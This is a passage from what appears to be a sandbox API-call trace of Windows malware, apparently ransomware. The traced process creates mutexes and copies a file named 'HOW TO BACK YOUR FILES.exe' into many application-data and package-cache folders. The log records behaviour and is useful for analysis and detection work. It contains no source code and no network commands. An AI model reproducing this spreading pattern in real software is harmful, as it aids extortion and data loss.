nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 0 [0102.880] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.880] ReleaseMutex (hMutex=0xec) returned 1 [0102.880] CloseHandle (hObject=0xec) returned 1 [0102.880] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Application Data\\Oracle" | out: lpString1="C:\\Documents and Settings\\All Users\\Application Data\\Oracle") returned="C:\\Documents and Settings\\All Users\\Application Data\\Oracle" [0102.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x501aa8 | out: hHeap=0x4f0000) returned 1 [0102.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a568 | out: hHeap=0x4f0000) returned 1 [0102.880] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Application Data\\Oracle") returned 59 [0102.880] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\8EBAA15AA54B03D9A918CC137B41DDF1") returned 0xec [0102.880] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.880] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Application Data\\Oracle" | out: lpString1="C:\\Documents and Settings\\All Users\\Application Data\\Oracle") returned="C:\\Documents and Settings\\All Users\\Application Data\\Oracle" [0102.880] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.880] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Oracle\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\oracle\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.881] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Application Data\\Oracle\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\oracle\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.881] GetLastError () returned 0x0 [0102.881] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546858 [0102.881] ReadFile (in: hFile=0xf4, lpBuffer=0x546858, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546858*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.882] CloseHandle (hObject=0xf4) returned 1 [0102.882] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546858 | out: hHeap=0x4f0000) returned 1 [0102.882] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.882] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Application Data\\Oracle\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.882] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.882] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.882] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Application Data\\Package Cache" | out: lpString1="C:\\Documents and Settings\\All Users\\Application Data\\Package Cache") returned="C:\\Documents and Settings\\All Users\\Application Data\\Package Cache" [0102.882] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513b88 | out: hHeap=0x4f0000) returned 1 [0102.882] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a580 | out: hHeap=0x4f0000) returned 1 [0102.882] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Application Data\\Package Cache") returned 66 [0102.882] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1047DBEA9A52454C11883D08D9494BDB") returned 0xec [0102.882] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.882] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Application Data\\Package Cache" | out: lpString1="C:\\Documents and Settings\\All Users\\Application Data\\Package Cache") returned="C:\\Documents and Settings\\All Users\\Application Data\\Package Cache" [0102.882] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.883] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Package Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\package cache\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.883] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Application Data\\Package Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\package cache\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.883] GetLastError () returned 0x0 [0102.883] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546858 [0102.883] ReadFile (in: hFile=0xf4, lpBuffer=0x546858, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546858*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.885] CloseHandle (hObject=0xf4) returned 1 [0102.885] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546858 | out: hHeap=0x4f0000) returned 1 [0102.885] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.885] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Application Data\\Package Cache\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.885] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.885] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.885] lstrcpyW (in: lpString1=0x241e8ce, lpString2="42D5BEC7DDFBD49E76467529CBC2868987BF8460" | out: lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="42D5BEC7DDFBD49E76467529CBC2868987BF8460" [0102.885] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a580 [0102.885] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xd8) returned 0x528318 [0102.885] lstrcatW (in: lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="\\" | out: lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460\\") returned="42D5BEC7DDFBD49E76467529CBC2868987BF8460\\" [0102.885] lstrcatW (in: lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460\\HOW TO BACK YOUR FILES.exe") returned="42D5BEC7DDFBD49E76467529CBC2868987BF8460\\HOW TO BACK YOUR FILES.exe" [0102.885] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.886] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xc4b7c060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b7c060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", cAlternateFileName="54050A~1")) returned 1 [0102.886] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.886] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.886] lstrcpyW (in: lpString1=0x241e8ce, lpString2="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" | out: lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" [0102.886] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a568 [0102.886] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xd8) returned 0x527fa8 [0102.886] lstrcatW (in: lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="\\" | out: lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\") returned="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\" [0102.886] lstrcatW (in: lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\HOW TO BACK YOUR FILES.exe") returned="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\HOW TO BACK YOUR FILES.exe" [0102.886] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.887] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc62f060, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.887] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.887] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4b7c060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b7c060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", cAlternateFileName="{13A4E~1.210")) returned 1 [0102.887] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.887] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.887] lstrcpyW (in: lpString1=0x241e8ce, lpString2="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" [0102.887] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a538 [0102.887] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xea) returned 0x528088 [0102.887] lstrcatW (in: lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="\\" | out: lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\") returned="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\" [0102.887] lstrcatW (in: lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\HOW TO BACK YOUR FILES.exe") returned="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\HOW TO BACK YOUR FILES.exe" [0102.887] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.888] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xe24954e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe24954e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1 [0102.888] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.888] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.888] lstrcpyW (in: lpString1=0x241e8ce, lpString2="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0102.888] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a508 [0102.888] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xd4) returned 0x52a800 [0102.888] lstrcatW (in: lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="\\" | out: lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\" [0102.888] lstrcatW (in: lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\HOW TO BACK YOUR FILES.exe") returned="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\HOW TO BACK YOUR FILES.exe" [0102.888] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.888] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4ba21c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1 [0102.888] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.889] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.889] lstrcpyW (in: lpString1=0x241e8ce, lpString2="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" [0102.889] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546520 [0102.889] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xea) returned 0x52a8e0 [0102.889] lstrcatW (in: lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="\\" | out: lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\") returned="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\" [0102.889] lstrcatW (in: lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\HOW TO BACK YOUR FILES.exe") returned="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\HOW TO BACK YOUR FILES.exe" [0102.889] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.889] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xe2553bc0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2553bc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1 [0102.889] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.889] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.889] lstrcpyW (in: lpString1=0x241e8ce, lpString2="{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0102.889] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546538 [0102.889] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xd4) returned 0x52a9d8 [0102.890] lstrcatW (in: lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="\\" | out: lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned="{3c3aafc8-d898-43ec-998f-965ffdae065a}\\" [0102.890] lstrcatW (in: lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}\\HOW TO BACK YOUR FILES.exe") returned="{3c3aafc8-d898-43ec-998f-965ffdae065a}\\HOW TO BACK YOUR FILES.exe" [0102.890] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.890] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4ba21c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", cAlternateFileName="{582EA~1.250")) returned 1 [0102.890] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.890] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.890] lstrcpyW (in: lpString1=0x241e8ce, lpString2="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" [0102.890] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546550 [0102.890] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xec) returned 0x50b7a8 [0102.890] lstrcatW (in: lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="\\" | out: lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\") returned="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\" [0102.890] lstrcatW (in: lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\HOW TO BACK YOUR FILES.exe") returned="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\HOW TO BACK YOUR FILES.exe" [0102.890] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.891] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4ba21c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", cAlternateFileName="{68306~1.250")) returned 1 [0102.891] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.891] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.891] lstrcpyW (in: lpString1=0x241e8ce, lpString2="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" [0102.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546568 [0102.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xec) returned 0x50b8a0 [0102.891] lstrcatW (in: lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="\\" | out: lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\") returned="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\" [0102.891] lstrcatW (in: lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\HOW TO BACK YOUR FILES.exe") returned="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\HOW TO BACK YOUR FILES.exe" [0102.891] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.892] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, 